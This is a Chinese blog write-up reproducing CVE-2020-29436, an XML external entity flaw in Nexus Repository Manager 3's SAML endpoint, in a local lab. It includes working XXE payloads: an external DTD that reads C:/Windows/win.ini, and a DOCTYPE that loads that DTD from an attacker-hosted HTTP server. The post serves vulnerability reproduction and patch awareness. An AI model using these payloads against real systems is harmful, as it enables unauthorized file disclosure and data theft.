【漏洞复现】CVE-2020-29436：Nexus3 XML外部实体注入

最新推荐文章于 2025-03-18 17:18:30 发布

zzgslh

最新推荐文章于 2025-03-18 17:18:30 发布

阅读量1.7k

点赞数

分类专栏：漏洞复现文章标签： xml

本文链接：https://blog.youkuaiyun.com/zzgslh/article/details/113687641

版权

5 篇文章

订阅专栏

Nexus Repository Manager 3是一款通用的软件包仓库管理（Universal Repository Manager）服务。

编号：CVE-2020-29436
/service/rest/internal/ui/saml接口允许加载外部dtd。攻击者如果能够获取 Nexus Repository Manager 3 的管理员帐户，就可以配置系统、查看文件系统上的文件，获取敏感信息。

提示：本地搭建需要JDK1.8以上版本。
（1）下载Nexus Repository Manager 3.28.1-01环境：
链接地址：https://help.sonatype.com/repomanager3/download/download-archives—repository-manager-3
网盘链接：https://pan.baidu.com/s/13GekraTeZmKvS52nIkRuLw
提取码：5vcd
在这里插入图片描述
（2）下载完成解压，到nexus-3.28.0-01\bin目录下，打开命令行运行nexus.exe /run。

在这里插入图片描述

（3）浏览器访问：http://127.0.0.1:8081。

（4）登录：默认密码在/sonatype-work/nexus3目录下的admin.password文件下。

（5）登录成功，需要修改密码这里随便修改一下，然后选择匿名访问。
在这里插入图片描述
（6）安装证书。

我这里是装过的，大家复现时如果无法访问saml接口，则需要装一下证书的，需要访问如下链接：
https://www.sonatype.com/nexus/repository-pro/trial

1.访问Security下的SAML功能，这里可以提交XML数据。
在这里插入图片描述
2.先用python起一个http服务，然后将如下payload放在http服务的目录下，命名为my.dtd文件。

<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM '%file;'>">
%all;
%send;

在这里插入图片描述

3.将payload插入到文本框中：

<!DOCTYPE ANY [
<!ENTITY % dtd SYSTEM "http://127.0.0.1:800/my.dtd">
%dtd;
]>
<ANY>xxe</ANY>

在这里插入图片描述
4.Save保存，burp抓包。

5.读取本地文件成功：

及时升级到最新版本即可。